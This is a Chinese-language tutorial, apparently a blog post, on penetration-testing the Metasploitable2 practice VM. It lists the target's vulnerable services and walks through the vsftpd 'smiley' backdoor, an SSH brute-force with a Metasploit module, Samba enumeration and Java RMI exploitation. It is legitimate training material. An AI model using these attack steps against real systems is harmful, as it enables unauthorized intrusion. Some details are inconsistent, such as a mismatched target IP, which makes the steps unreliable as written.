看完这篇教你玩转渗透测试靶机——Metasploitable2

Metasploitable2渗透测试详解

Metasploitable2靶机介绍：

Metasploitable2 虚拟系统是一个特别制作的ubuntu操作系统，本身设计作为安全工具测试和演示常见漏洞攻击。这个版本的虚拟系统兼容VMware。当虚拟系统启动之后，使用用户名：msfadmin 和密码msfadmin登陆适用于学习网络安全新手学习

Metasploitable2靶机下载：

下载链接：链接：https://pan.baidu.com/s/1I1QDeitaZR7EuluY8-0j5Q

提取码：6666

Metasploitable2靶机安装：

下载好了把安装包解压然后试用VMware即可。
在这里插入图片描述

Metasploitable2靶机漏洞详解：

渗透机：kali IP ：172.16.5.42 靶机IP ：172.16.5.17
在这里插入图片描述
漏洞清单：

端口/服务	端口/服务
21 / 弱口令	445 / 已测试
22 / 弱口令	512 / rlogin
23 /弱口令	512 / rlogin
25 -	514 / rlogin
53 -	1099 / java_rmi_server
80 - php_cgi	154 msfable 后门
111 -	2049 / NFS共享漏洞
139 / smb	2121 -
3306 / 空密码	3632 / distcc_exec
5432 / postgresql	5900 / VNC
6000 -	6667 / unreal_ircd
6697 / unreal_ircd	8009
8180 / tomcat	8787 / drb_remote_codeexec

首先我们先看一下21端口，版本是2.3.4 可以想到笑脸漏洞后门 msf中利用脚本运行。
在这里插入图片描述
还可以使用手动激活后门漏洞，如果在发送的用户名后面加上 “：）”（笑脸符号），这个版本的后门会在6200端口上打开一个监听的shell。我们可以通过telnet确认或者通过metasploit上面的攻击模块自动攻击。

ftp 172.16.5.17 这里telnet也可以激活笑脸

账号随便输入一个 Root：）

Password：随便输入一个已经创建好了后面6200后门端口

Nc连接：nc 172.16.5.17

22端口：直接暴力破解

Search  ssh_login       搜索模块

Use  auxiliary/scanner/ssh/ssh_login    使用模块

Set  RHOST 172.16.5.198    设置目标地址

Set   USER_FILE  /root/0.txt   设置用户字典路径

Set   PASS_FILE  /root/0.txt   设置字典密码路径

Set   THREADS   100   设置线程是100

Run  开跑

在这里插入图片描述
23端口（telnet）：

还是老样子尝试暴力破解，用户名和密码为：msfadmin
在这里插入图片描述
使用netlnet登入：

80端口：这里的漏洞挺多的访问一下phpinfo().php 发现了一个2012年的漏洞

server API 是CGI方式运行的，这个方式在PHP存在漏洞-Cgi参数注入
在这里插入图片描述
139和445都是Smb服务类型，共享服务。

使用 use auxiliary/scanner/smb/smb_enumshares
在这里插入图片描述
在使用一个脚本：use auxiliary/admin/smb/samba_symlink_traversal

1099端口是一个Java反序列化命令执行漏洞，可以看到已经getshell